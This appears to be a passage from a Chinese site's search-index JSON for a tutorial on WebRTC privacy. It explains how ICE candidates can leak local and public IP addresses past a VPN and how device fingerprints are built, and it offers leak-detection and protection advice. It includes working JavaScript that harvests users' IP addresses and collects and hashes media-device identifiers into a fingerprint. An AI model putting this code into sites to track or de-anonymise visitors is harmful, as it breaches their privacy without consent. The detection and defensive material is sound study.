指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 浏览器架构 必需 浏览器架构 浏览器指纹识别 必需 浏览器指纹识别 JavaScript 基础 必需 JavaScript 基础 Hook 技术 推荐 Hook 技术 💡 提示: WebRTC 是最容易泄露真实 IP 的途径之一。即使使用 VPN 或代理，WebRTC 也可能暴露你的本地 IP。了解这一机制对于隐私保护和自动化爬虫至关重要。 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:2:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#-前置知识"},{"categories":null,"collections":null,"content":"基础概念 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:3:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#基础概念"},{"categories":null,"collections":null,"content":"定义 WebRTC 是一组标准化的 API，允许浏览器和移动应用程序进行点对点的实时通信，无需安装插件或第三方软件。 主要组件: getUserMedia: 访问摄像头和麦克风 RTCPeerConnection: 建立点对点音视频通信 RTCDataChannel: 点对点数据传输 隐私风险: 泄露真实 IP 地址（绕过 VPN/代理） 收集设备指纹信息 获取本地网络拓扑 暴露媒体设备信息 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:3:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#定义"},{"categories":null,"collections":null,"content":"核心原理 WebRTC 连接建立过程 客户端 A 客户端 B | | |-- 1. 创建 RTCPeerConnection -----------\u003e| | | |-- 2. 收集 ICE Candidates ---------------\u003e| | (包含本地/公网 IP) | | | |\u003c- 3. 交换 SDP Offer/Answer --------------| | | |-- 4. 建立点对点连接 --------------------\u003e| | | |\u003c======= 5. 实时通信 =====================\u003e| ICE (Interactive Connectivity Establishment) WebRTC 使用 ICE 协议收集候选连接路径： Host Candidate: 本地 IP 地址（局域网 IP） Server Reflexive Candidate: 公网 IP（通过 STUN 服务器获取） Relay Candidate: 中继 IP（通过 TURN 服务器） 这些信息可以被 JavaScript 访问，导致 IP 泄露。 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:3:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#核心原理"},{"categories":null,"collections":null,"content":"核心原理 WebRTC 连接建立过程 客户端 A 客户端 B | | |-- 1. 创建 RTCPeerConnection -----------\u003e| | | |-- 2. 收集 ICE Candidates ---------------\u003e| | (包含本地/公网 IP) | | | |\u003c- 3. 交换 SDP Offer/Answer --------------| | | |-- 4. 建立点对点连接 --------------------\u003e| | | |\u003c======= 5. 实时通信 =====================\u003e| ICE (Interactive Connectivity Establishment) WebRTC 使用 ICE 协议收集候选连接路径： Host Candidate: 本地 IP 地址（局域网 IP） Server Reflexive Candidate: 公网 IP（通过 STUN 服务器获取） Relay Candidate: 中继 IP（通过 TURN 服务器） 这些信息可以被 JavaScript 访问，导致 IP 泄露。 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:3:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#webrtc-连接建立过程"},{"categories":null,"collections":null,"content":"核心原理 WebRTC 连接建立过程 客户端 A 客户端 B | | |-- 1. 创建 RTCPeerConnection -----------\u003e| | | |-- 2. 收集 ICE Candidates ---------------\u003e| | (包含本地/公网 IP) | | | |\u003c- 3. 交换 SDP Offer/Answer --------------| | | |-- 4. 建立点对点连接 --------------------\u003e| | | |\u003c======= 5. 实时通信 =====================\u003e| ICE (Interactive Connectivity Establishment) WebRTC 使用 ICE 协议收集候选连接路径： Host Candidate: 本地 IP 地址（局域网 IP） Server Reflexive Candidate: 公网 IP（通过 STUN 服务器获取） Relay Candidate: 中继 IP（通过 TURN 服务器） 这些信息可以被 JavaScript 访问，导致 IP 泄露。 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:3:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#ice-interactive-connectivity-establishment"},{"categories":null,"collections":null,"content":"详细内容 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:4:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#详细内容"},{"categories":null,"collections":null,"content":"IP 地址泄露 1. 本地 IP 泄露 即使用户使用 VPN，WebRTC 仍可能泄露真实的本地 IP。 泄露机制: // 创建 RTCPeerConnection const pc = new RTCPeerConnection({ iceServers: [{ urls: \"stun:stun.l.google.com:19302\" }], }); // 创建虚拟数据通道 pc.createDataChannel(\"\"); // 创建 Offer pc.createOffer().then((offer) =\u003e pc.setLocalDescription(offer)); // 监听 ICE 候选 pc.onicecandidate = (ice) =\u003e { if (ice \u0026\u0026 ice.candidate \u0026\u0026 ice.candidate.candidate) { const candidate = ice.candidate.candidate; console.log(\"ICE Candidate:\", candidate); tags: [\"Web\", \"浏览器指纹\", \"Canvas指纹\", \"WebAssembly\", \"代理池\", \"视频App\"] // 解析 IP 地址 const ipRegex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/; const match = candidate.match(ipRegex); if (match) { console.log(\"Leaked IP:\", match[1]); } } }; 泄露的信息: 内网 IPv4 地址 (192.168.x.x, 10.x.x.x) 内网 IPv6 地址 公网 IPv4/IPv6 地址 mDNS 候选（某些浏览器） 2. 公网 IP 泄露 通过 STUN 服务器获取用户的真实公网 IP，绕过 VPN/代理。 完整示例: function getIPs(callback) { const ips = []; const pc = new RTCPeerConnection({ iceServers: [ { urls: \"stun:stun.l.google.com:19302\" }, { urls: \"stun:stun1.l.google.com:19302\" }, ], }); pc.createDataChannel(\"\"); pc.createOffer().then((offer) =\u003e pc.setLocalDescription(offer)); pc.onicecandidate = (ice) =\u003e { if (!ice || !ice.candidate || !ice.candidate.candidate) { return; } const candidate = ice.candidate.candidate; const ipRegex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/; const match = candidate.match(ipRegex); if (match \u0026\u0026 !ips.includes(match[1])) { ips.push(match[1]); callback(match[1], candidate); } }; } // 使用 getIPs((ip, candidate) =\u003e { console.log(\"IP:\", ip); console.log( \"Type:\", candidate.includes(\"typ host\") ? \"Local\" : candidate.includes(\"typ srflx\") ? \"Public\" : \"Relay\" ); }); ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:4:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#ip-地址泄露"},{"categories":null,"collections":null,"content":"IP 地址泄露 1. 本地 IP 泄露 即使用户使用 VPN，WebRTC 仍可能泄露真实的本地 IP。 泄露机制: // 创建 RTCPeerConnection const pc = new RTCPeerConnection({ iceServers: [{ urls: \"stun:stun.l.google.com:19302\" }], }); // 创建虚拟数据通道 pc.createDataChannel(\"\"); // 创建 Offer pc.createOffer().then((offer) =\u003e pc.setLocalDescription(offer)); // 监听 ICE 候选 pc.onicecandidate = (ice) =\u003e { if (ice \u0026\u0026 ice.candidate \u0026\u0026 ice.candidate.candidate) { const candidate = ice.candidate.candidate; console.log(\"ICE Candidate:\", candidate); tags: [\"Web\", \"浏览器指纹\", \"Canvas指纹\", \"WebAssembly\", \"代理池\", \"视频App\"] // 解析 IP 地址 const ipRegex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/; const match = candidate.match(ipRegex); if (match) { console.log(\"Leaked IP:\", match[1]); } } }; 泄露的信息: 内网 IPv4 地址 (192.168.x.x, 10.x.x.x) 内网 IPv6 地址 公网 IPv4/IPv6 地址 mDNS 候选（某些浏览器） 2. 公网 IP 泄露 通过 STUN 服务器获取用户的真实公网 IP，绕过 VPN/代理。 完整示例: function getIPs(callback) { const ips = []; const pc = new RTCPeerConnection({ iceServers: [ { urls: \"stun:stun.l.google.com:19302\" }, { urls: \"stun:stun1.l.google.com:19302\" }, ], }); pc.createDataChannel(\"\"); pc.createOffer().then((offer) =\u003e pc.setLocalDescription(offer)); pc.onicecandidate = (ice) =\u003e { if (!ice || !ice.candidate || !ice.candidate.candidate) { return; } const candidate = ice.candidate.candidate; const ipRegex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/; const match = candidate.match(ipRegex); if (match \u0026\u0026 !ips.includes(match[1])) { ips.push(match[1]); callback(match[1], candidate); } }; } // 使用 getIPs((ip, candidate) =\u003e { console.log(\"IP:\", ip); console.log( \"Type:\", candidate.includes(\"typ host\") ? \"Local\" : candidate.includes(\"typ srflx\") ? \"Public\" : \"Relay\" ); }); ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:4:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#1-本地-ip-泄露"},{"categories":null,"collections":null,"content":"IP 地址泄露 1. 本地 IP 泄露 即使用户使用 VPN，WebRTC 仍可能泄露真实的本地 IP。 泄露机制: // 创建 RTCPeerConnection const pc = new RTCPeerConnection({ iceServers: [{ urls: \"stun:stun.l.google.com:19302\" }], }); // 创建虚拟数据通道 pc.createDataChannel(\"\"); // 创建 Offer pc.createOffer().then((offer) =\u003e pc.setLocalDescription(offer)); // 监听 ICE 候选 pc.onicecandidate = (ice) =\u003e { if (ice \u0026\u0026 ice.candidate \u0026\u0026 ice.candidate.candidate) { const candidate = ice.candidate.candidate; console.log(\"ICE Candidate:\", candidate); tags: [\"Web\", \"浏览器指纹\", \"Canvas指纹\", \"WebAssembly\", \"代理池\", \"视频App\"] // 解析 IP 地址 const ipRegex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/; const match = candidate.match(ipRegex); if (match) { console.log(\"Leaked IP:\", match[1]); } } }; 泄露的信息: 内网 IPv4 地址 (192.168.x.x, 10.x.x.x) 内网 IPv6 地址 公网 IPv4/IPv6 地址 mDNS 候选（某些浏览器） 2. 公网 IP 泄露 通过 STUN 服务器获取用户的真实公网 IP，绕过 VPN/代理。 完整示例: function getIPs(callback) { const ips = []; const pc = new RTCPeerConnection({ iceServers: [ { urls: \"stun:stun.l.google.com:19302\" }, { urls: \"stun:stun1.l.google.com:19302\" }, ], }); pc.createDataChannel(\"\"); pc.createOffer().then((offer) =\u003e pc.setLocalDescription(offer)); pc.onicecandidate = (ice) =\u003e { if (!ice || !ice.candidate || !ice.candidate.candidate) { return; } const candidate = ice.candidate.candidate; const ipRegex = /([0-9]{1,3}(\\.[0-9]{1,3}){3}|[a-f0-9]{1,4}(:[a-f0-9]{1,4}){7})/; const match = candidate.match(ipRegex); if (match \u0026\u0026 !ips.includes(match[1])) { ips.push(match[1]); callback(match[1], candidate); } }; } // 使用 getIPs((ip, candidate) =\u003e { console.log(\"IP:\", ip); console.log( \"Type:\", candidate.includes(\"typ host\") ? \"Local\" : candidate.includes(\"typ srflx\") ? \"Public\" : \"Relay\" ); }); ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:4:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#2-公网-ip-泄露"},{"categories":null,"collections":null,"content":"设备指纹信息 1. 媒体设备枚举 WebRTC 可以枚举用户的音视频设备： navigator.mediaDevices.enumerateDevices().then((devices) =\u003e { devices.forEach((device) =\u003e { console.log({ kind: device.kind, // \"audioinput\", \"videoinput\", \"audiooutput\" label: device.label, // 设备名称 deviceId: device.deviceId, // 唯一标识符 groupId: device.groupId, // 设备组 }); }); }); 指纹用途: deviceId 可作为持久化标识符 设备数量和类型组合形成独特指纹 设备名称可能暴露硬件信息 2. 编解码器支持 不同设备支持不同的音视频编解码器： const pc = new RTCPeerConnection(); pc.createOffer().then((offer) =\u003e { const codecs = []; // 解析 SDP 获取支持的编解码器 offer.sdp.split(\"\\r\\n\").forEach((line) =\u003e { if (line.startsWith(\"a=rtpmap:\")) { codecs.push(line); } }); console.log(\"Supported codecs:\", codecs); }); 3. RTC 统计信息 const pc = new RTCPeerConnection(); pc.getStats().then((stats) =\u003e { stats.forEach((report) =\u003e { console.log({ type: report.type, id: report.id, timestamp: report.timestamp, ...report, }); }); }); 可获取的信息: 网络质量指标 传输统计 编解码器性能 硬件加速能力 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:4:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#设备指纹信息"},{"categories":null,"collections":null,"content":"设备指纹信息 1. 媒体设备枚举 WebRTC 可以枚举用户的音视频设备： navigator.mediaDevices.enumerateDevices().then((devices) =\u003e { devices.forEach((device) =\u003e { console.log({ kind: device.kind, // \"audioinput\", \"videoinput\", \"audiooutput\" label: device.label, // 设备名称 deviceId: device.deviceId, // 唯一标识符 groupId: device.groupId, // 设备组 }); }); }); 指纹用途: deviceId 可作为持久化标识符 设备数量和类型组合形成独特指纹 设备名称可能暴露硬件信息 2. 编解码器支持 不同设备支持不同的音视频编解码器： const pc = new RTCPeerConnection(); pc.createOffer().then((offer) =\u003e { const codecs = []; // 解析 SDP 获取支持的编解码器 offer.sdp.split(\"\\r\\n\").forEach((line) =\u003e { if (line.startsWith(\"a=rtpmap:\")) { codecs.push(line); } }); console.log(\"Supported codecs:\", codecs); }); 3. RTC 统计信息 const pc = new RTCPeerConnection(); pc.getStats().then((stats) =\u003e { stats.forEach((report) =\u003e { console.log({ type: report.type, id: report.id, timestamp: report.timestamp, ...report, }); }); }); 可获取的信息: 网络质量指标 传输统计 编解码器性能 硬件加速能力 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:4:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#1-媒体设备枚举"},{"categories":null,"collections":null,"content":"设备指纹信息 1. 媒体设备枚举 WebRTC 可以枚举用户的音视频设备： navigator.mediaDevices.enumerateDevices().then((devices) =\u003e { devices.forEach((device) =\u003e { console.log({ kind: device.kind, // \"audioinput\", \"videoinput\", \"audiooutput\" label: device.label, // 设备名称 deviceId: device.deviceId, // 唯一标识符 groupId: device.groupId, // 设备组 }); }); }); 指纹用途: deviceId 可作为持久化标识符 设备数量和类型组合形成独特指纹 设备名称可能暴露硬件信息 2. 编解码器支持 不同设备支持不同的音视频编解码器： const pc = new RTCPeerConnection(); pc.createOffer().then((offer) =\u003e { const codecs = []; // 解析 SDP 获取支持的编解码器 offer.sdp.split(\"\\r\\n\").forEach((line) =\u003e { if (line.startsWith(\"a=rtpmap:\")) { codecs.push(line); } }); console.log(\"Supported codecs:\", codecs); }); 3. RTC 统计信息 const pc = new RTCPeerConnection(); pc.getStats().then((stats) =\u003e { stats.forEach((report) =\u003e { console.log({ type: report.type, id: report.id, timestamp: report.timestamp, ...report, }); }); }); 可获取的信息: 网络质量指标 传输统计 编解码器性能 硬件加速能力 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:4:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#2-编解码器支持"},{"categories":null,"collections":null,"content":"设备指纹信息 1. 媒体设备枚举 WebRTC 可以枚举用户的音视频设备： navigator.mediaDevices.enumerateDevices().then((devices) =\u003e { devices.forEach((device) =\u003e { console.log({ kind: device.kind, // \"audioinput\", \"videoinput\", \"audiooutput\" label: device.label, // 设备名称 deviceId: device.deviceId, // 唯一标识符 groupId: device.groupId, // 设备组 }); }); }); 指纹用途: deviceId 可作为持久化标识符 设备数量和类型组合形成独特指纹 设备名称可能暴露硬件信息 2. 编解码器支持 不同设备支持不同的音视频编解码器： const pc = new RTCPeerConnection(); pc.createOffer().then((offer) =\u003e { const codecs = []; // 解析 SDP 获取支持的编解码器 offer.sdp.split(\"\\r\\n\").forEach((line) =\u003e { if (line.startsWith(\"a=rtpmap:\")) { codecs.push(line); } }); console.log(\"Supported codecs:\", codecs); }); 3. RTC 统计信息 const pc = new RTCPeerConnection(); pc.getStats().then((stats) =\u003e { stats.forEach((report) =\u003e { console.log({ type: report.type, id: report.id, timestamp: report.timestamp, ...report, }); }); }); 可获取的信息: 网络质量指标 传输统计 编解码器性能 硬件加速能力 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:4:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#3-rtc-统计信息"},{"categories":null,"collections":null,"content":"隐私保护检测 检测 WebRTC 泄露 async function detectWebRTCLeak() { const results = { localIPs: [], publicIPs: [], devices: [], leakDetected: false, }; // 1. 检测 IP 泄露 const pc = new RTCPeerConnection({ iceServers: [{ urls: \"stun:stun.l.google.com:19302\" }], }); pc.createDataChannel(\"\"); pc.createOffer().then((offer) =\u003e pc.setLocalDescription(offer)); await new Promise((resolve) =\u003e { pc.onicecandidate = (ice) =\u003e { if (!ice || !ice.candidate) { resolve(); return; } const candidate = ice.candidate.candidate; const ipMatch = candidate.match(/([0-9]{1,3}\\.){3}[0-9]{1,3}/); if (ipMatch) { const ip = ipMatch[0]; if ( ip.startsWith(\"192.168.\") || ip.startsWith(\"10.\") || ip.startsWith(\"172.\") ) { results.localIPs.push(ip); } else { results.publicIPs.push(ip); results.leakDetected = true; } } }; setTimeout(resolve, 2000); }); // 2. 检测设备枚举 try { const devices = await navigator.mediaDevices.enumerateDevices(); results.devices = devices.map((d) =\u003e ({ kind: d.kind, label: d.label, hasId: !!d.deviceId, })); } catch (e) { console.log(\"Device enumeration blocked\"); } return results; } // 使用 detectWebRTCLeak().then((results) =\u003e { console.log(\"WebRTC Leak Detection Results:\", results); if (results.leakDetected) { console.warn(\"⚠️ WebRTC IP leak detected!\"); } }); ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:4:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#隐私保护检测"},{"categories":null,"collections":null,"content":"隐私保护检测 检测 WebRTC 泄露 async function detectWebRTCLeak() { const results = { localIPs: [], publicIPs: [], devices: [], leakDetected: false, }; // 1. 检测 IP 泄露 const pc = new RTCPeerConnection({ iceServers: [{ urls: \"stun:stun.l.google.com:19302\" }], }); pc.createDataChannel(\"\"); pc.createOffer().then((offer) =\u003e pc.setLocalDescription(offer)); await new Promise((resolve) =\u003e { pc.onicecandidate = (ice) =\u003e { if (!ice || !ice.candidate) { resolve(); return; } const candidate = ice.candidate.candidate; const ipMatch = candidate.match(/([0-9]{1,3}\\.){3}[0-9]{1,3}/); if (ipMatch) { const ip = ipMatch[0]; if ( ip.startsWith(\"192.168.\") || ip.startsWith(\"10.\") || ip.startsWith(\"172.\") ) { results.localIPs.push(ip); } else { results.publicIPs.push(ip); results.leakDetected = true; } } }; setTimeout(resolve, 2000); }); // 2. 检测设备枚举 try { const devices = await navigator.mediaDevices.enumerateDevices(); results.devices = devices.map((d) =\u003e ({ kind: d.kind, label: d.label, hasId: !!d.deviceId, })); } catch (e) { console.log(\"Device enumeration blocked\"); } return results; } // 使用 detectWebRTCLeak().then((results) =\u003e { console.log(\"WebRTC Leak Detection Results:\", results); if (results.leakDetected) { console.warn(\"⚠️ WebRTC IP leak detected!\"); } }); ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:4:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#检测-webrtc-泄露"},{"categories":null,"collections":null,"content":"实战示例 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:5:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#实战示例"},{"categories":null,"collections":null,"content":"示例 1: 完整的 IP 泄露检测工具 class WebRTCLeakDetector { constructor() { this.ips = new Set(); this.candidates = []; } async detect() { return new Promise((resolve) =\u003e { const pc = new RTCPeerConnection({ iceServers: [ { urls: \"stun:stun.l.google.com:19302\" }, { urls: \"stun:stun1.l.google.com:19302\" }, { urls: \"stun:stun.services.mozilla.com\" }, ], }); pc.createDataChannel(\"leak-test\"); pc.createOffer() .then((offer) =\u003e pc.setLocalDescription(offer)) .catch((err) =\u003e console.error(err)); pc.onicecandidate = (event) =\u003e { if (!event || !event.candidate) { pc.close(); resolve(this.generateReport()); return; } this.processCandidate(event.candidate); }; // 超时保护 setTimeout(() =\u003e { pc.close(); resolve(this.generateReport()); }, 5000); }); } processCandidate(candidate) { this.candidates.push(candidate.candidate); const parts = candidate.candidate.split(\" \"); const ip = parts[4]; const type = parts[7]; if (ip \u0026\u0026 this.isValidIP(ip)) { this.ips.add(ip); console.log(`Found ${type} IP: ${ip}`); } } isValidIP(str) { // IPv4 const ipv4 = /^(\\d{1,3}\\.){3}\\d{1,3}$/; // IPv6 const ipv6 = /^([\\da-f]{1,4}:){7}[\\da-f]{1,4}$/i; return ipv4.test(str) || ipv6.test(str); } generateReport() { const report = { ips: Array.from(this.ips), local: [], public: [], ipv6: [], candidates: this.candidates, }; report.ips.forEach((ip) =\u003e { if (ip.includes(\":\")) { report.ipv6.push(ip); } else if (this.isLocalIP(ip)) { report.local.push(ip); } else { report.public.push(ip); } }); return report; } isLocalIP(ip) { return ( ip.startsWith(\"192.168.\") || ip.startsWith(\"10.\") || ip.match(/^172\\.(1[6-9]|2\\d|3[01])\\./) ); } } // 使用 const detector = new WebRTCLeakDetector(); detector.detect().then((report) =\u003e { console.log(\"=== WebRTC Leak Report ===\"); console.log(\"Local IPs:\", report.local); console.log(\"Public IPs:\", report.public); console.log(\"IPv6:\", report.ipv6); if (report.public.length \u003e 0) { console.warn(\"⚠️ Public IP leak detected!\"); } }); ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:5:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#示例-1-完整的-ip-泄露检测工具"},{"categories":null,"collections":null,"content":"示例 2: 禁用 WebRTC // 方法1: 覆盖 RTCPeerConnection (不推荐，可能破坏功能) (function () { \"use strict\"; const noop = function () {}; const noopPromise = function () { return Promise.resolve(); }; window.RTCPeerConnection = function () { return { createOffer: noopPromise, createAnswer: noopPromise, setLocalDescription: noopPromise, setRemoteDescription: noopPromise, close: noop, addEventListener: noop, }; }; console.log(\"WebRTC has been disabled\"); })(); // 方法2: 浏览器设置 // Chrome: chrome://flags/#enable-webrtc-hide-local-ips-with-mdns // Firefox: media.peerconnection.enabled = false // 方法3: 浏览器扩展 // - WebRTC Leak Prevent (Chrome) // - Disable WebRTC (Firefox) ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:5:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#示例-2-禁用-webrtc"},{"categories":null,"collections":null,"content":"示例 3: 设备指纹采集 async function collectWebRTCFingerprint() { const fingerprint = {}; // 1. 媒体设备 try { const devices = await navigator.mediaDevices.enumerateDevices(); fingerprint.devices = devices.map((d) =\u003e ({ kind: d.kind, id: d.deviceId, groupId: d.groupId, })); fingerprint.deviceCount = { audioinput: devices.filter((d) =\u003e d.kind === \"audioinput\").length, videoinput: devices.filter((d) =\u003e d.kind === \"videoinput\").length, audiooutput: devices.filter((d) =\u003e d.kind === \"audiooutput\").length, }; } catch (e) { fingerprint.devices = \"blocked\"; } // 2. 支持的编解码器 const pc = new RTCPeerConnection(); const offer = await pc.createOffer({ offerToReceiveAudio: true, offerToReceiveVideo: true, }); fingerprint.codecs = { audio: [], video: [], }; offer.sdp.split(\"\\r\\n\").forEach((line) =\u003e { if (line.startsWith(\"a=rtpmap:\")) { const codec = line.split(\" \")[1]; if (line.includes(\"audio\")) { fingerprint.codecs.audio.push(codec); } else if (line.includes(\"video\")) { fingerprint.codecs.video.push(codec); } } }); pc.close(); // 3. RTC 能力 fingerprint.capabilities = { audio: RTCRtpSender.getCapabilities ? RTCRtpSender.getCapabilities(\"audio\") : null, video: RTCRtpSender.getCapabilities ? RTCRtpSender.getCapabilities(\"video\") : null, }; return fingerprint; } // 使用 collectWebRTCFingerprint().then((fp) =\u003e { console.log(\"WebRTC Fingerprint:\", fp); // 计算指纹哈希 const fpString = JSON.stringify(fp); console.log(\"Fingerprint hash:\", hashCode(fpString)); }); function hashCode(str) { let hash = 0; for (let i = 0; i \u003c str.length; i++) { const char = str.charCodeAt(i); hash = (hash \u003c\u003c 5) - hash + char; hash = hash \u0026 hash; } return hash.toString(16); } ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:5:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#示例-3-设备指纹采集"},{"categories":null,"collections":null,"content":"最佳实践 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:6:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#最佳实践"},{"categories":null,"collections":null,"content":"用户隐私保护 使用浏览器扩展 WebRTC Leak Prevent uBlock Origin (启用隐私过滤) Privacy Badger 浏览器设置 Firefox: about:config → media.peerconnection.enabled = false media.peerconnection.ice.default_address_only = true media.peerconnection.ice.no_host = true Chrome: chrome://flags/#enable-webrtc-hide-local-ips-with-mdns 启用 使用扩展程序 VPN 配置 确保 VPN 支持 WebRTC 保护 启用 VPN 的 IPv6 泄露防护 测试 VPN 是否真正阻止 WebRTC 泄露 定期检测 访问 https://browserleaks.com/webrtc 使用 https://ipleak.net 自定义检测脚本 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:6:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#用户隐私保护"},{"categories":null,"collections":null,"content":"网站开发者 最小权限原则 仅在必要时请求媒体权限 明确告知用户为何需要 WebRTC 隐私声明 说明如何使用 WebRTC 告知可能收集的信息 提供控制选项 允许用户禁用 WebRTC 功能 提供替代方案 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:6:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#网站开发者"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2025-06-06","objectID":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/:7:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","视频App"],"title":"WebRTC 指纹与隐私","uri":"/reverse_engineering/web/04-advanced-recipes/webrtc_fingerprinting/#常见问题"},{"categories":null,"collections":null,"content":"Q: VPN 能防止 WebRTC 泄露吗？ A: 不一定。WebRTC 可以绕过 VPN 直接泄露本地和公网 IP： 本地 IP: 